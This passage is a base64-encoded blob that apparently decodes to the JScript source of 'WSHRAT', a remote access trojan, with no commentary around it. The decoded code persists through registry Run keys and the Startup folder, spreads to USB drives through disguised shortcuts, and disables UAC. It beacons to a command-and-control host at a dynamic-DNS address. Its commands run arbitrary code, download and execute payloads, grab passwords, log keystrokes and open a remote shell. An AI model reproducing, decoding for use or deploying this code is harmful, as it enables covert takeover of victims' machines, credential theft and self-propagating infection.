FXTnliM052Wm5RdVdHMXNSRzl0SWlrcE93bz0iOw0KdmFyIHdzaFNoZWxsMSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIik7DQp2YXIgYXBwZGF0YWRpcjEgPSB3c2hTaGVsbDEuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlYXBwZGF0YSUiKTsNCnZhciBzdHVicGF0aDEgPSBhcHBkYXRhZGlyMSArICJcXGFSVWFTTWxoWUMuanMiOw0KdmFyIGRlY29kZWQxID0gZGVjb2RlQmFzZTY0KGxvbmdUZXh0MSk7DQp3cml0ZUJ5dGVzKHN0dWJwYXRoMSwgZGVjb2RlZDEpOw0Kd3NoU2hlbGwxLnJ1bigid3NjcmlwdCAvL0IgXCIiICsgc3R1YnBhdGgxICsgIlwiIik7DQp9Y2F0Y2goZXIpe30NCmZ1bmN0aW9uIHdyaXRlQnl0ZXMoZmlsZSwgYnl0ZXMpew0KdHJ5ew0KdmFyIGJpbmFyeVN0cmVhbSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTsNCmJpbmFyeVN0cmVhbS5UeXBlID0gMTsNCmJpbmFyeVN0cmVhbS5PcGVuKCk7DQpiaW5hcnlTdHJlYW0uV3JpdGUoYnl0ZXMpOw0KYmluYXJ5U3RyZWFtLlNhdmVUb0ZpbGUoZmlsZSwgMik7DQp9Y2F0Y2goZXJyKXsNCn0NCn0NCmZ1bmN0aW9uIGRlY29kZUJhc2U2NChiYXNlNjQpew0KdmFyIERNID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIk1pY3Jvc29mdC5YTUxET00iKTsNCnZhciBFTCA9IERNLmNyZWF0ZUVsZW1lbnQoInRtcCIpOw0KRUwuZGF0YVR5cGUgPSAiYmluLmJhc2U2NCI7DQpFTC50ZXh0ID0gYmFzZTY0Ow0KcmV0dXJuIEVMLm5vZGVUeXBlZFZhbHVlOw0KfQ0Kd3NoU2hlbGwxID0gbnVsbDsNCnZhciBob3N0ID0gIkV4dGVuZHdzaDU2MDAuZGRucy5uZXQiOw0KdmFyIHBvcnQgPSA1NjAwOw0KdmFyIGluc3RhbGxkaXIgPSAiJXRlbXAlIjsNCnZhciBydW5Bc0FkbWluID0gZmFsc2U7DQp2YXIgbG5rZmlsZSA9IHRydWU7DQp2YXIgbG5rZm9sZGVyID0gdHJ1ZTsNCmlmKHJ1bkFzQWRtaW4gPT0gdHJ1ZSl7DQpzdGFydHVwRWxldmF0ZSgpOw0KfQ0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IHRydWUpew0KZGlzYWJsZVNlY3VyaXR5KCk7DQp9DQp2YXIgc2hlbGxvYmogPSBXU2NyaXB0LmNyZWF0ZU9iamVjdCgid3NjcmlwdC5zaGVsbCIpOw0KdmFyIGZpbGVzeXN0ZW1vYmogPSBXU2NyaXB0LmNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCnZhciBodHRwb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7DQp2YXIgaW5zdGFsbG5hbWUgPSBXU2NyaXB0LnNjcmlwdE5hbWU7DQp2YXIgc3RhcnR1cCA9IHNoZWxsb2JqLnNwZWNpYWxGb2xkZXJzKCJzdGFydHVwIikgKyAiXFwiOw0KaW5zdGFsbGRpciA9IHNoZWxsb2JqLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhpbnN0YWxsZGlyKSArICJcXCI7DQppZighZmlsZXN5c3RlbW9iai5mb2xkZXJFeGlzdHMoaW5zdGFsbGRpcikpeyAgaW5zdGFsbGRpciA9IHNoZWxsb2JqLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiJXRlbXAlIikgKyAiXFwiO30NCnZhciBzcGxpdGVyID0gInwiOw0KdmFyIHNsZWVwID0gNTAwMDsNCnZhciByZXNwb25zZSwgY21kLCBwYXJhbSwgb25lb25jZTsNCnZhciBpbmYgPSAiIjsNCnZhciB1c2JzcHJlYWRpbmcgPSAiIjsNCnZhciBzdGFydGRhdGUgPSAiIjsNCmluc3RhbmNlKCk7DQp3aGlsZSh0cnVlKXsNCnRyeXsNCmluc3RhbGwoKTsNCnJlc3BvbnNlID0gIiI7DQpyZXNwb25zZSA9IHBvc3QgKCJpcy1yZWFkeSIsIiIpOw0KY21kID0gcmVzcG9uc2Uuc3BsaXQoc3BsaXRlcik7DQpzd2l0Y2goY21kWzBdKXsNCmNhc2UgImRpc2Nvbm5lY3QiOg0KV1NjcmlwdC5xdWl0KCk7DQpicmVhazsNCmNhc2UgInJlYm9vdCI6DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBzaHV0ZG93biAvciAvdCAwIC9mIiwgMCwgdHJ1ZSk7DQpicmVhazsNCmNhc2UgInNodXRkb3duIjoNCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHNodXRkb3duIC9zIC90IDAgL2YiLCAwLCB0cnVlKTsNCmJyZWFrOw0KY2FzZSAiZXhjZWN1dGUiOg0KcGFyYW0gPSBjbWRbMV07DQpldmFsKHBhcmFtKTsNCmJyZWFrOw0KY2FzZSAiZ2V0LXBhc3MiOg0KcGFzc2dyYWJiZXIoY21kWzFdLCAiY21kYy5leGUiLCBjbWRbMl0pOw0KYnJlYWs7DQpjYXNlICJnZXQtcGFzcy1vZmZsaW5lIjoNCnBhc3NncmFiYmVyMihjbWRbMV0sICJjbWRjLmV4ZSIsIGNtZFsyXSk7DQpicmVhazsNCmNhc2UgInVwZGF0ZSI6DQpwYXJhbSA9IHJlc3BvbnNlLnN1YnN0cihyZXNwb25zZS5pbmRleE9mKCJ8IikgKyAxKTsNCm9uZW9uY2UuY2xvc2UoKTsNCm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKTsNCm9uZW9uY2Uud3JpdGUocGFyYW0pOw0Kb25lb25jZS5jbG9zZSgpOw0Kc2hlbGxvYmoucnVuKCJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIik7DQp1cGRhdGVzdGF0dXMoIlVwZGF0ZWQiKTsNCldTY3JpcHQucXVpdCgpOw0KY2FzZSAidW5pbnN0YWxsIjoNCnVuaW5zdGFsbCgpOw0KYnJlYWs7DQpjYXNlICJ1cC1uLWV4ZWMiOg0KZG93bmxvYWQoY21kWzFdLGNtZFsyXSk7DQpicmVhazsNCmNhc2UgImJyaW5nLWxvZyI6DQp1cGxvYWQoaW5zdGFsbGRpciArICJ3c2hsb2dzXFwiICsgY21kWzFdLCAidGFrZS1sb2ciKTsNCmJyZWFrOw0KY2FzZSAiZG93bi1uLWV4ZWMiOg0Kc2l0ZWRvd25sb2FkZXIoY21kWzFdLGNtZFsyXSk7DQpicmVhazsNCmNhc2UgICJmaWxlbWFuYWdlciI6DQpzZXJ2aWNlc3RhcnRlcihjbWRbMV0sICJmbS1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSk7DQpicmVhazsNCmNhc2UgICJyZHAiOg0Kc2VydmljZXN0YXJ0ZXIoY21kWzFdLCAicmQtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCkpOw0KYnJlYWs7DQpjYXNlICAia2V5bG9nZ2VyIjoNCmtleWxvZ2dlcnN0YXJ0ZXIoY21kWzFdLCAia2wtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCksIDApOw0KYnJlYWs7DQpjYXNlICAib2ZmbGluZS1rZXlsb2dnZXIiOg0Ka2V5bG9nZ2Vyc3RhcnRlcihjbWRbMV0sICJrbC1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSwgMSk7DQpicmVhazsNCmNhc2UgICJicm93c2UtbG9ncyI6DQpwb3N0KCJpcy1sb2dzIiwgZW51bWZhZihpbnN0YWxsZGlyICsgIndzaGxvZ3MiKSk7DQpicmVhazsNCmNhc2UgICJjbWQtc2hlbGwiOg0KcGFyYW0gPSBjbWRbMV07DQpwb3N0KCJpcy1jbWQtc2hlbGwiLGNtZHNoZWxsKHBhcmFtKSk7DQpicmVhazsNCmNhc2UgICJnZXQtcHJvY2Vzc2VzIjoNCnBvc3QoImlzLXByb2Nlc3NlcyIsIGVudW1wcm9jZXNzKCkpOw0KYnJlYWs7DQpjYXNlICAiZGlzYWJsZS11YWMiOg0KZGlzYWJsZVNlY3VyaXR5KCk7DQp1cGRhdGVzdGF0dXMoIlVBQytEaXNhYmxlZCsoUmVib290K1JlcXVpcmVkKSIpOw0KYnJlYWs7DQpjYXNlICAiY2hlY2stZWxpZ2libGUiOg0KaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGNtZFsxXSkpew0KdXBkYXRlc3RhdHVzKCJJcytFbGlnaWJsZSIpOw0KfWVsc2V7DQp1cGRhdGVzdGF0dXMoIk5vdCtFbGlnaWJsZSIpOw0KfQ0KYnJlYWs7DQpjYXNlICAiZm9yY2UtZWxpZ2libGUiOg0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IHRydWUpew0KaWYoZmlsZXN5c3RlbW9iai5mb2xkZXJFeGlzdHMoY21kWzFdKSl7DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyAiICsgY21kWzJdLCAwLCB0cnVlKTsNCnVwZGF0ZXN0YXR1cygiU1VDQ0VTUyIpOw0KfWVsc2V7DQp1cGRhdGVzdGF0dXMoIkNvbXBvbmVudCtNaXNzaW5nIik7DQp9DQp9DQplbHNlew0KdXBkYXRlc3RhdHVzKCJFbGV2YXRpb24rUmVxdWlyZWQiKTsNCn0NCmJyZWFrOw0KY2FzZSAgImVsZXZhdGUiOg0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IGZhbHNlKXsNCnRyeXsNCm9uZW9uY2UuY2xvc2UoKTsNCm9uZW9uY2UgPSBudWxsOw0KV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIiArIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKyAiXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOw0KdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsNCn1jYXRjaChubil7DQp9DQpXU2NyaXB0LnF1aXQoKTsNCn0NCmVsc2V7DQp1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOw0KfQ0KYnJlYWs7DQpjYXNlICAiaWYtZWxldmF0ZSI6DQppZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2Upew0KdXBkYXRlc3RhdHVzKCJDbGllbnQrTm90K0VsZXZhdGVkIik7DQp9DQplbHNlew0KdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsNCn0NCmJyZWFrOw0KY2FzZSAgImtpbGwtcHJvY2VzcyI6DQpleGl0cHJvY2VzcyhjbWRbMV0pOw0KYnJlYWs7DQpjYXNlICAic2xlZXAiOg0KcGFyYW0gPSBjbWRbMV07DQpzbGVlcCA9IGV2YWwocGFyYW0pOw0KYnJlYWs7DQp9DQp9Y2F0Y2goZXIpe30NCldTY3JpcHQuc2xlZXAoc2xlZXApOw0KfQ0KZnVuY3Rpb24gaW5zdGFsbCgpew0KdmFyIGxua29iajsNCnZhciBmaWxlbmFtZTsNCnZhciBmb2xkZXJuYW1lOw0KdmFyIGZpbGVpY29uOw0KdmFyIGZvbGRlcmljb247DQp1cHN0YXJ0KCk7DQpmb3IodmFyIGRyaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZHJpdmVzKTsgIWRyaS5hdEVuZCgpOyBkcmkubW92ZU5leHQoKSl7DQp2YXIgZHJpdmUgPSBkcmkuaXRlbSgpOw0KaWYgKGRyaXZlLmlzcmVhZHkgPT0gdHJ1ZSl7DQppZiAoZHJpdmUuZnJlZXNwYWNlID4gMCApew0KaWYgKGRyaXZlLmRyaXZldHlwZSA9PSAxICl7DQp0cnl7DQpmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLCBkcml2ZS5wYXRoICsgIlxcIiArIGluc3RhbGxuYW1lLHRydWUpOw0KaWYgKGZpbGVzeXN0ZW1vYmouZmlsZUV4aXN0cyAoZHJpdmUucGF0aCArICJcXCIgKyBpbnN0YWxsbmFtZSkpew0KZmlsZXN5c3RlbW9iai5nZXRGaWxlKGRyaXZlLnBhdGggKyAiXFwiICArIGluc3RhbGxuYW1lKS5hdHRyaWJ1dGVzID0gMis0Ow0KfQ0KfWNhdGNoKGVpanUpe30NCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuZmlsZXMpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp0cnl7DQp2YXIgZmlsZSA9IGZpLml0ZW0oKTsNCmlmIChsbmtmaWxlID09IGZhbHNlKXticmVhazt9DQppZiAoZmlsZS5uYW1lLmluZGV4T2YoIi4iKSl7DQppZiAoKGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aCAtIDFdKS50b0xvd2VyQ2FzZSgpICE9ICJsbmsiKXsNCmZpbGUuYXR0cmlidXRlcyA9IDIrNDsNCmlmIChmaWxlLm5hbWUudG9VcHBlckNhc2UoKSAhPSBpbnN0YWxsbmFtZS50b1VwcGVyQ2FzZSgpKXsNCmZpbGVuYW1lID0gZmlsZS5uYW1lLnNwbGl0KCIuIik7DQpsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVTaG9ydGN1dChkcml2ZS5wYXRoICsgIlxcIiAgKyBmaWxlbmFtZVswXSArICIubG5rIik7DQpsbmtvYmoud2luZG93U3R5bGUgPSA3Ow0KbG5rb2JqLnRhcmdldFBhdGggPSAiY21kLmV4ZSI7DQpsbmtvYmoud29ya2luZ0RpcmVjdG9yeSA9ICIiOw0KbG5rb2JqLmFyZ3VtZW50cyA9ICIvYyBzdGFydCAiICsgaW5zdGFsbG5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyAiJnN0YXJ0ICIgKyBmaWxlLm5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyImZXhpdCI7DQp0cnl7ZmlsZWljb24gPSBzaGVsbG9iai5SZWdSZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcIiArIHNoZWxsb2JqLlJlZ1JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxjbGFzc2VzXFwuIiArIGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aCAtIDFdKyAiXFwiKSArICJcXGRlZmF1bHRpY29uXFwiKTsgfWNhdGNoKGVlZWUpe30NCmlmIChmaWxlaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7DQpsbmtvYmouaWNvbkxvY2F0aW9uID0gZmlsZS5wYXRoOw0KfWVsc2Ugew0KbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZpbGVpY29uOw0KfQ0KbG5rb2JqLnNhdmUoKTsNCn0NCn0NCn0NCn1jYXRjaChlcnIpe30NCn0NCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnRyeXsNCnZhciBmb2xkZXIgPSBmaS5pdGVtKCk7DQppZiAobG5rZm9sZGVyID09IGZhbHNlKXticmVhazt9DQpmb2xkZXIuYXR0cmlidXRlcyA9IDIrNDsNCmZvbGRlcm5hbWUgPSBmb2xkZXIubmFtZTsNCmxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZVNob3J0Y3V0KGRyaXZlLnBhdGggKyAiXFwiICArIGZvbGRlcm5hbWUgKyAiLmxuayIpOw0KbG5rb2JqLndpbmRvd1N0eWxlID0gNzsNCmxua29iai50YXJnZXRQYXRoID0gImNtZC5leGUiOw0KbG5rb2JqLndvcmtpbmdEaXJlY3RvcnkgPSAiIjsNCmxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiArIGluc3RhbGxuYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsgIiZzdGFydCBleHBsb3JlciAiICsgZm9sZGVyLm5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyImZXhpdCI7DQpmb2xkZXJpY29uID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcZm9sZGVyXFxkZWZhdWx0aWNvblxcIik7DQppZiAoZm9sZGVyaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7DQpsbmtvYmouaWNvbkxvY2F0aW9uID0gZm9sZGVyLnBhdGg7DQp9ZWxzZSB7DQpsbmtvYmouaWNvbkxvY2F0aW9uID0gZm9sZGVyaWNvbjsNCn0NCmxua29iai5zYXZlKCk7DQp9Y2F0Y2goZXJyKXt9DQp9DQp9DQp9DQp9DQp9DQp9DQpmdW5jdGlvbiBzdGFydHVwRWxldmF0ZSgpew0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IGZhbHNlKXsNCnRyeXsNCldTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgid3NjcmlwdC5leGUiLCAiIC8vQiBcIiIgKyBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICsgIlwiIC9lbGV2YXRlZCIsICIiLCAicnVuYXMiLCAxKTsNCn1jYXRjaChubil7DQp9DQpXU2NyaXB0LnF1aXQoKTsNCn0NCn0NCmZ1bmN0aW9uIGRpc2FibGVTZWN1cml0eSgpew0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IHRydWUpew0KdmFyIG9SZWcgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9uTGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxkZWZhdWx0OlN0ZFJlZ1Byb3YiKTsNCm9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMDAwMDAyLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkVuYWJsZUxVQSIsIDApOw0Kb1JlZy5TZXREd29yZFZhbHVlKDB4ODAwMDAwMDIsIlNPRlRXQVJFXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxQb2xpY2llc1xcU3lzdGVtIiwiQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4iLCAwKTsNCm9SZWcgPSBudWxsOw0KfQ0KfQ0KZnVuY3Rpb24gdW5pbnN0YWxsKCl7DQp0cnl7DQp2YXIgZmlsZW5hbWU7DQp2YXIgZm9sZGVybmFtZTsNCnRyeXsNCnNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdKTsNCnNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSk7DQp9Y2F0Y2goZWkpe30NCnRyeXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdGFydHVwICsgaW5zdGFsbG5hbWUgLHRydWUpOw0KZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLHRydWUpOw0KfWNhdGNoKGVlail7fQ0KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpew0KdmFyIGRyaXZlID0gZHJpLml0ZW0oKTsNCmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpew0KaWYgKGRyaXZlLmZyZWVzcGFjZSA+IDAgKXsNCmlmIChkcml2ZS5kcml2ZXR5cGUgPT0gMSApew0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKGRyaXZlLnBhdGggKyAiXFwiKS5maWxlcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBmaWxlID0gZmkuaXRlbSgpOw0KdHJ5ew0KaWYgKGZpbGUubmFtZS5pbmRleE9mKCIuIikpew0KaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLSAxXSkudG9Mb3dlckNhc2UoKSAhPSAibG5rIil7DQpmaWxlLmF0dHJpYnV0ZXMgPSAwOw0KaWYgKGZpbGUubmFtZS50b1VwcGVyQ2FzZSgpICE9IGluc3RhbGxuYW1lLnRvVXBwZXJDYXNlKCkpew0KZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShkcml2ZS5wYXRoICsgIlxcIiArIGZpbGVuYW1lWzBdICsgIi5sbmsiICk7DQp9ZWxzZXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShkcml2ZS5wYXRoICsgIlxcIiArIGZpbGUubmFtZSk7DQp9DQp9ZWxzZXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZSAoZmlsZS5wYXRoKTsNCn0NCn0NCn1jYXRjaChleCl7fQ0KfQ0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKGRyaXZlLnBhdGggKyAiXFwiKS5zdWJGb2xkZXJzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIGZvbGRlciA9IGZpLml0ZW0oKTsNCmZvbGRlci5hdHRyaWJ1dGVzID0gMDsNCn0NCn0NCn0NCn0NCn0NCn1jYXRjaChlcnIpe30NCldTY3JpcHQucXVpdCgpOw0KfQ0KZnVuY3Rpb24gcG9zdCAoY21kICxwYXJhbSl7DQp0cnl7DQpodHRwb2JqLm9wZW4oInBvc3QiLCJodHRwOi8vIiArIGhvc3QgKyAiOiIgKyBwb3J0ICsiLyIgKyBjbWQsIGZhbHNlKTsNCmh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLGluZm9ybWF0aW9uKCkpOw0KaHR0cG9iai5zZW5kKHBhcmFtKTsNCnJldHVybiBodHRwb2JqLnJlc3BvbnNlVGV4dDsNCn1jYXRjaChlcnIpew0KcmV0dXJuICIiOw0KfQ0KfQ0KZnVuY3Rpb24gaW5mb3JtYXRpb24oKXsNCnRyeXsNCmlmIChpbmYgPT0gIiIpew0KaW5mID0gaHdpZCgpICsgc3BsaXRlcjsNCmluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgKyBzcGxpdGVyIDsNCmluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV1c2VybmFtZSUiKSArIHNwbGl0ZXI7DQp2YXIgcm9vdCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgb3MgPSByb290LkV4ZWNRdWVyeSAoInNlbGVjdCAqIGZyb20gd2luMzJfb3BlcmF0aW5nc3lzdGVtIik7DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3Iob3MpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgb3NpbmZvID0gZmkuaXRlbSgpOw0KaW5mID0gaW5mICsgb3NpbmZvLmNhcHRpb24gKyBzcGxpdGVyOw0KYnJlYWs7DQp9DQppbmYgPSBpbmYgKyAicGx1cyIgKyBzcGxpdGVyOw0KaW5mID0gaW5mICsgc2VjdXJpdHkoKSArIHNwbGl0ZXI7DQppbmYgPSBpbmYgKyB1c2JzcHJlYWRpbmc7DQppbmYgPSAiV1NIUkFUIiArIHNwbGl0ZXIgKyBpbmYgKyBzcGxpdGVyICsgIkphdmFTY3JpcHQtdjEuMyIgOw0KcmV0dXJuIGluZjsNCn1lbHNlew0KcmV0dXJuIGluZjsNCn0NCn1jYXRjaChlcnIpew0KcmV0dXJuICIiOw0KfQ0KfQ0KZnVuY3Rpb24gdXBzdGFydCAoKXsNCnRyeXsNCnRyeXsNCnNoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0NVUlJFTlRfVVNFUlxcc29mdHdhcmVcXG1pY3Jvc29mdFxcd2luZG93c1xcY3VycmVudHZlcnNpb25cXHJ1blxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0sICAid3NjcmlwdC5leGUgLy9CIFwiIiArIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZSArICJcIiIgLCAiUkVHX1NaIik7DQpzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSwgICJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIiAsICJSRUdfU1oiKTsNCn1jYXRjaChlaSl7fQ0KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUsIHRydWUpOw0KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBzdGFydHVwICsgaW5zdGFsbG5hbWUsIHRydWUpOw0KfWNhdGNoKGVycil7fQ0KfQ0KZnVuY3Rpb24gaHdpZCgpew0KdHJ5ew0KdmFyIHJvb3QgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9uTGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOw0KdmFyIGRpc2tzID0gcm9vdC5FeGVjUXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX2xvZ2ljYWxkaXNrIik7DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZGlza3MpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgZGlzayA9IGZpLml0ZW0oKTsNCmlmIChkaXNrLnZvbHVtZVNlcmlhbE51bWJlciAhPSAiIil7DQpyZXR1cm4gZGlzay52b2x1bWVTZXJpYWxOdW1iZXI7DQpicmVhazsNCn0NCn0NCn1jYXRjaChlcnIpew0KcmV0dXJuICIiOw0KfQ0KfQ0KZnVuY3Rpb24gc2VjdXJpdHkoKXsNCnRyeXsNCnZhciBvYmp3bWlzZXJ2aWNlID0gR2V0T2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbmxldmVsPWltcGVyc29uYXRlfSFcXFxcLlxccm9vdFxcY2ltdjIiKTsNCnZhciBjb2xpdGVtcyA9IG9iandtaXNlcnZpY2UuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIsbnVsbCw0OCk7DQp2YXIgdmVyc2lvbnN0ciwgb3N2ZXJzaW9uOw0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7DQp2ZXJzaW9uc3RyID0gb2JqaXRlbS52ZXJzaW9uLnRvU3RyaW5nKCkuc3BsaXQoIi4iKTsNCn0NCm9zdmVyc2l